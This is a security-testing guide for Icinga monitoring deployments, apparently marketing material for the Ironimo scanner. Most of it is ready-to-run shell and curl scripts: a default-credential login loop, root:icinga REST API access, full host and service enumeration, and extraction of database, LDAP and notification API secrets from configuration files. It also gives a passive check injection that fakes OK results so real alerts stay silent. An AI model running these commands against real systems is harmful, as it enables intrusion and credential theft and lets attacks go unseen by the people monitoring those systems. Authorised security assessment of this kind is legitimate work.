Icinga is one of the most widely deployed open-source infrastructure monitoring platforms, originally forked from Nagios and now a mature monitoring ecosystem including Icinga 2 (monitoring daemon), Icinga Web 2 (web interface), and Icinga Director (configuration management module). Icinga deployments map the complete monitored infrastructure and often store credentials for LDAP, PagerDuty, and external notification systems. Key assessment areas: Icinga Web 2 setup uses a one-time setup token that is sometimes left active; the Icinga 2 REST API with transport user credentials provides full host and service enumeration; resources.ini stores MySQL/PostgreSQL passwords for all connected databases; Icinga Director stores zone and host configurations; and passive check result injection via the REST API can suppress active monitoring alerts. This guide covers systematic Icinga security assessment.
# Icinga — authentication testing and API access
ICINGA_URL="https://icinga.example.com"
ICINGA2_API="https://icinga.example.com:5665"
# Icinga Web 2 — test common default credentials
for cred in "admin:icinga" "icingaadmin:icinga" "admin:admin"; do
user="${cred%%:*}"
pass="${cred#*:}"
response=$(curl -s -o /dev/null -w "%{http_code}" \
"${ICINGA_URL}/icingaweb2/authentication/login" \
-c /tmp/icinga_sess_${user} \
--data "username=${user}&password=${pass}" \
-L 2>/dev/null)
if [ "$response" = "200" ] || [ "$response" = "302" ]; then
echo "POTENTIAL VALID: ${user}:${pass} (HTTP ${response})"
fi
done
# Icinga 2 REST API — uses transport user credentials from /etc/icinga2/conf.d/api-users.conf
# Default API user often: root / icinga
curl -sk -u "root:icinga" "${ICINGA2_API}/v1/" 2>/dev/null | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
results = d.get('results',[])
print(f'API access granted: {len(results)} routes available')
except: print('No valid JSON response')
" 2>/dev/null
# Enumerate API users from config
grep -r "password\|ApiUser" /etc/icinga2/conf.d/api-users.conf 2>/dev/null
# Icinga 2 REST API — complete infrastructure enumeration
ICINGA2_API="https://icinga.example.com:5665"
API_USER="root"
API_PASS="icinga"
# Enumerate all monitored hosts
curl -sk -u "${API_USER}:${API_PASS}" \
"${ICINGA2_API}/v1/objects/hosts" \
-H "Accept: application/json" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
hosts = d.get('results',[])
print(f'Monitored hosts: {len(hosts)}')
for h in hosts[:20]:
attrs = h.get('attrs',{})
print(f' {h.get(\"name\")} ip={attrs.get(\"address\")} state={attrs.get(\"state\")} os={attrs.get(\"vars\",{}).get(\"os\",\"\")}')
print(f' Check: {attrs.get(\"check_command\")} last_check={attrs.get(\"last_check\")}')
if attrs.get('vars',{}).get('http_vhosts'):
print(f' vhosts={list(attrs.get(\"vars\",{}).get(\"http_vhosts\",{}).keys())}')
" 2>/dev/null
# Enumerate all services with check results
curl -sk -u "${API_USER}:${API_PASS}" \
"${ICINGA2_API}/v1/objects/services?attrs=name,host_name,state,output,check_command" \
-H "Accept: application/json" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
svcs = d.get('results',[])
print(f'Services: {len(svcs)}')
for s in svcs[:20]:
attrs = s.get('attrs',{})
print(f' {s.get(\"name\")} host={attrs.get(\"host_name\")} state={attrs.get(\"state\")} cmd={attrs.get(\"check_command\")}')
" 2>/dev/null
# Passive check injection — suppress real alerts
curl -sk -u "${API_USER}:${API_PASS}" \
-X POST "${ICINGA2_API}/v1/actions/process-check-result" \
-H "Accept: application/json" \
-H "Content-Type: application/json" \
-d '{
"type": "Service",
"filter": "service.name==\"ping\" && host.name==\"target-host\"",
"exit_status": 0,
"plugin_output": "OK - Connection time: 0.001s (injected)"
}' 2>/dev/null
# Icinga configuration file credential extraction
# Icinga Web 2 resources.ini — database passwords for all resources
cat /etc/icingaweb2/resources.ini 2>/dev/null
# Contains:
# [icingaweb2] — Icinga Web 2 database (users, preferences)
# password = "icingaweb2_db_password"
# [icinga2] — IDO database (monitoring data)
# password = "icinga2_ido_password"
# [director] — Icinga Director database
# password = "director_db_password"
# [pgsql] — if using PostgreSQL
# Icinga Web 2 authentication.ini — LDAP configuration
cat /etc/icingaweb2/authentication.ini 2>/dev/null
# Contains LDAP bind_dn and bind_pw for AD authentication
# Icinga 2 API certificates — used for node communication
ls /var/lib/icinga2/certs/ 2>/dev/null
# icinga2.crt, icinga2.key — CA-signed cert/key pair
# The private key enables impersonating the Icinga 2 master node
# Icinga Director — database has all host/zone configurations
PGPASSWORD=$(grep password /etc/icingaweb2/resources.ini 2>/dev/null | grep -A5 "director" | grep password | cut -d= -f2 | tr -d ' "')
psql -U icingadirector -h localhost director 2>/dev/null -c "SELECT object_name, object_type FROM icinga_host LIMIT 20;"
# Notification feature — PagerDuty/Slack API keys
grep -r "api_key\|webhook\|pagerduty" /etc/icinga2/conf.d/ 2>/dev/null | grep -v "#"
| Security Test | Method | Risk |
|---|---|---|
| Default root/icinga API user credentials | Basic auth to /v1/ with root:icinga — provides full Icinga 2 REST API access including all monitored hosts, services, passive check submission, downtime scheduling, and configuration management | Critical |
| resources.ini database password extraction | Read /etc/icingaweb2/resources.ini — passwords for all connected databases (web, IDO, Director); IDO database contains complete monitoring history; Director database has all zone and host configurations | Critical |
| Host and service inventory enumeration | GET /v1/objects/hosts with API credentials — returns all monitored hosts with IPs, OS types, custom variables including http_vhosts; GET /v1/objects/services maps all monitored services with current states | High |
| Passive check injection for alert suppression | POST /v1/actions/process-check-result — inject OK state for any service; suppresses real monitoring alerts; enables attacks during windows when monitoring team believes all systems are healthy | High (requires API credentials) |
| Icinga 2 CA key extraction for rogue agent signing | Read /var/lib/icinga2/ca/ca.key — CA private key signs certificates for Icinga 2 nodes; enables creating trusted rogue monitoring agents that appear legitimate to the monitoring infrastructure | Critical (requires server access) |
Ironimo tests Icinga deployments for default API user credential exploitation, resources.ini database password extraction for all connected databases, host and service inventory enumeration via REST API, passive check injection capability testing, setup token availability after installation, Icinga 2 CA key file permissions, LDAP bind credential extraction from authentication.ini, Director module database credential access, and notification feature API key disclosure.
Start free scan